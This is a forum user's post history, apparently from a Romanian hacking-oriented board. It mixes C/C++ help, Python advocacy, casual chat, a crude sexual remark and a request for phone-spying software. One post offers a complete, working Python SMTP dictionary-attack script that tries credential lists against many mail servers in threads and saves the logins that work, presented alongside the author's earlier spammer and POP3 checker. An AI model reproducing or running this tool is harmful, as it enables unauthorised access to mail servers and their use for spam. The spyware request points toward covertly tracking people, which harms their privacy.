-
Posts
1609 -
Joined
-
Last visited
-
Days Won
27
Everything posted by cmiN
-
Johnny, la gente esta muy loca, What the f*ck!? Pana si tutorialele sunt interactive si 10x compresate cand e vorba de python.
-
A folosit cineva vreun soft de localizare/inregistrare/spionare a telefoanelor mobile fara/cu sistem de operare gen symbian/android ? Sau macar stie ceva de genul gratis sau daca are cineva privat fara preturi astronomice ?
-
Degeaba traiti daca nu dati .
-
Bat la pariu ca daca era acelasi cod dar cu un titlu nesemnificativ si nu (trojan, keylogger, etc) nu mai ziceati niciunul nimic. Mie sincer nu-mi place modul in care la scris nici cum face captura.
-
Tai ecranul in doua si arati si in stanga si in dreapta filmat acelasi personaj cu secvente scurte si taiate pe parcursul unei zile in care se iau decizii similare dar partea din dreapta implica alcool si cea din stanga un stil de viata sanatos. E ceva mult mai usor de realizat ca banuiesc ca nu faci o animatie 3D .
-
Se filmeaza ceva ? Sau un conspect pentru astia care nu pot fi cu trupul acolo ?
-
Amandoua sunt limbaje de nivel inalt, flexibile, dinamice si orientate pe obiecte ce imprumuta foarte multe de la C/C++ si alte limbaje de baza. Din experienta mea perl se aseamana mai mult cu php iar python cu ceva unic ... e ca un C++ transformat complet in obiecte si alese exact acele metode care chiar folosesc si isi gasesc o utilitate unica. In python sintaxa e mai clara decat un pseudocod ... nu sunt multe keyworduri (gen template, struct, enum, switch, public, private, protected, static, virtual, friend, etc) sunt cateva de baza cu care poti face MULTE. Este foarte bine documentat si intuitiv, mai ales in cazul librariilor, iar totul pare prea logic: pachet -> modul -> clasa -> functie -> instructiune. In aproape toate distributiile linux majoritatea scripturilor si fisierelor in afara de cele .c .cpp .h sunt cele .py (si sunt destule de fapt sistemul insasi are la baza niste fisiere foarte importante in python). Youtube, Google, Nasa au pagini in python ca sa nu mai vorbesc de robotica . Si ca sa termin frumos: "Python e singurul limbaj de programare destinat incepatorilor si inca folosit de experti!"
-
78 jucat sau lasat pe harti de alea de puncte ?
-
Nu am intrat pe link vreun stealer ceva :\ ?
-
Smecher ... si gost crypterul. Am postat mai mult fiindca am vazut ca au un articol foarte interesant legat de cum sa postezi "adecvat" pe un forum. Cine stie poate merge putin un update la regulament inspirat dupa el.
-
DA, exact aia cu = 0, acum am inteles. La treaba cu return *this aveam senzatia ca se face si copierea prin asta si de aia nu intelegeam cum . Rapid si prompt, 10x.
-
Flash like.
-
Foarte misto explicat ca la prosti . Am gasit foarte folositor polimorfismul in tratarea tuturor exceptiilor de aceeasi natura (derivate) fara sa folosesc (...) exact ca un else dupa multi else if. Un pont: cand ai blocuri mari de comentarii incearca sa folosesti /* ... */. Insa nu prea m-am prins de un lucru ... cand supraincarci un operator .. de ex. = si faci a = b; nu ar trebui sa fie exact ca si a.operator=( iar antetul functiei sa fie void operator=(MyClass obj) si atribuirea sa se faca membru cu membru (in cazul datelor ... de obicei alea private) sau ceva de genul *this = b; ? Am vazut si ceva gen cazul ala (cand pur si simplu se returneaza this) dar nu-l inteleg daca l-ai putea explica in detaliu ar fi perfect. Si o ultima nedumerire care o am ... nu prea am inteles de ce in cazul unor functii virtuale la definirea lor se mai adauga dupa antet un const sau un tip de date ceva. Oricum good job .
-
Am fost la Piatra Neamt in clasa a 8-a la ONF si e prea misto orasul, de fapt m-am distrat si cel mai mult o tabara prin intermediul unei olimpiade sau a unui concurs care sa stranga persoane cu aceleasi interese e mult mai frumoasa decat orice altceva. Acum am norocul sa revizitez internatele, dar de data asta la info nu la fizica .
-
Awsome! Si part 2 ?
-
Plm nu e viol dar ma refer la intentie iti dai seama ca nu o sa vezi una care sa-ti electrocuteze pula sau sa ti-o indese cu degetele in pizda chiar daca gayul ala ar fi mort cacat pe el. Totusi mie mi se pare prea buna daca puneti anumite stop cadre are tot ce-i trebuie si arata si bine .
-
... pacat ca nu o pot duce pana la capat
-
Atunci cand dau post quick reply imi posteaza totul ok, dar imi apare mesajul ca cica trebuie sa astept acele 30 de secunde (desi s-a postat ceea ce scrisesem) deci banuiesc ca se apeleaza postarea de 2 ori consecutiv. In cazul lui edit e ceva mai suspect ... apas o data se incarca la inifnit apoi trebuie sa mai apas o data ca sa ma duca in edit.
-
C like #include <cstdio> #include <cstdlib> #include <cctype> typedef short unsigned int sui; int main() { char fname[64], chr; unsigned long i, cnt = 0; sui* buffer = 0; printf("Enter file path/name: "); scanf("%s", fname); FILE* fin = fopen(fname, "rt"); while (!feof(fin)) { chr = fgetc(fin); if (isdigit(chr)) { buffer = (sui*) realloc(buffer, (cnt + 1) * sizeof(sui)); buffer[cnt++] = chr - '0'; } } fclose(fin); for (i = 0; i < cnt; i++) { printf("%u", buffer[i]); } free(buffer); return 0; } or C++ #include <iostream> #include <fstream> #define n 64 using namespace std; void compute(char* buffer) { char c; unsigned long rh, wh; rh = wh = 0; while ((c = buffer[rh++])) { if (c >= '0' && c <= '9') { buffer[wh++] = c; } } buffer[wh] = 0; } int main() { char fname[n], * buffer; long unsigned size; fstream myfile; cout << "Enter file path/name: "; cin.getline(fname, n); myfile.open(fname, ios::in | ios::binary | ios::ate); size = (long unsigned) myfile.tellg(); buffer = new char[size + 1]; myfile.seekg(0, ios::beg); myfile.read(buffer, size); myfile.close(); buffer[size] = 0; compute(buffer); cout << buffer; delete[] buffer; return 0; } In al doilea exemplu l-am lasat de tip char nu l-am mai facut int/short ca sa-l afiseze direct dar de acolo te descurci nu-i problema.
-
Da Lucrul cu numere mari vezi adunare.
-
Da merci amandurora.
-
Postasem cu ceva vreme in urma un smtp spammer si un pop3 checker acum am facut si un brute pe liste care testeaza asincron smtp-uri generate / gasite de voi. Este scris cu simt de raspundere si cu cap nu ca restul vrajelilor care le-am vazut pe net. E destul de optim, nu va lua niciodata un host, user sau pass de 2 ori si nici nu va mai continua sa scaneze un smtp aiurea din moment ce i-a gasit o combinatie de user+pass care sa mearga. Testati-l pe smtp-uri care cer logare cu user sau pass acum depinde si de felul lui de a manevra situatiile (la esmtp mai face faze depinde cum primeste el ehlo si helo si cum reactioneaza la ele). Nu l-am facut compatibil si ssl era prea multa bataie de cap. E un dictionary attacker si nu un brute forcer, fiindca toate detaliile le preia de la user, el nu genereaza nimic. Cu generat mai sunt o sumedenie pe net si ia o tona de timp ... asa daca aveti chef faceti rapid cu un simplu backtracking niste liste de ipuri si cateva de usere si passuri. [ATENTIE] Ataca in felul urmator: pentru fiecare user, pentru fiecare pass, pentru fiecare smtp ramas in lista de scanat se incearca combinatia respectiva. Python code by cmiN - 77 lines - codepad Python 3.2 #! /usr/bin/env python3.2 # SMTP Dictionary Attack # 21.03.2011 cmiN from smtplib import SMTP from sys import argv import threading def usage(): print("\tUsage: source.ext <hosts> <users> <words> <threads> [timeout]") print("Note that hosts, users and words are text files with <EOL> separated strings.") print("Threads is an integer.") print("Timeout is a float in seconds and is optional.") print("Example: smda.py hosts.txt C:\\users.txt /tmp/words.txt 10 1") def fill_vec(name, vec): count = 0 with open(name, "rt") as fin: for x in fin: y = x.strip() if not y in vec: vec.add(y) count += 1 return count class SDA(threading.Thread): hvec = None timeout = None count = 0 fobj = None def __init__(self, user, word): threading.Thread.__init__(self) self.user = user self.word = word def run(self): for host in list(SDA.hvec): try: server = SMTP(host, timeout=SDA.timeout) server.login(self.user, self.word) server.quit() if host in SDA.hvec: SDA.hvec.remove(host) string = "%s %s %s\n" % (host, self.user, self.word) SDA.fobj.write(string) SDA.fobj.flush() SDA.count += 1 except: pass def process(hosts, users, words, threads, timeout=None): hvec, uvec, wvec = set(), set(), set() comp = fill_vec(hosts, hvec) * ((fill_vec(users, uvec) * fill_vec(words, wvec)) / threads) print("Processing %d requests per thread. Please wait..." % comp) SDA.hvec = hvec SDA.timeout = timeout SDA.fobj = open("working.txt", "at") for user in uvec: for word in wvec: while threading.active_count() > threads: pass SDA(user, word).start() while threading.active_count() > 1: pass SDA.fobj.write("=" * 50 + "\n") SDA.fobj.close() print("Finished! Were found %d working SMTPs (see 'working.txt')." % SDA.count) def main(): if len(argv) == 6: process(argv[1], argv[2], argv[3], int(argv[4]), float(argv[5])) elif len(argv) == 5: process(argv[1], argv[2], argv[3], int(argv[4])) else: usage() if __name__ == "__main__": main() EDIT: 25.03.2011
-
Aia e modificata de zici ca-i specii )). Vezi aici e plin de chill.
-
tare morcheeba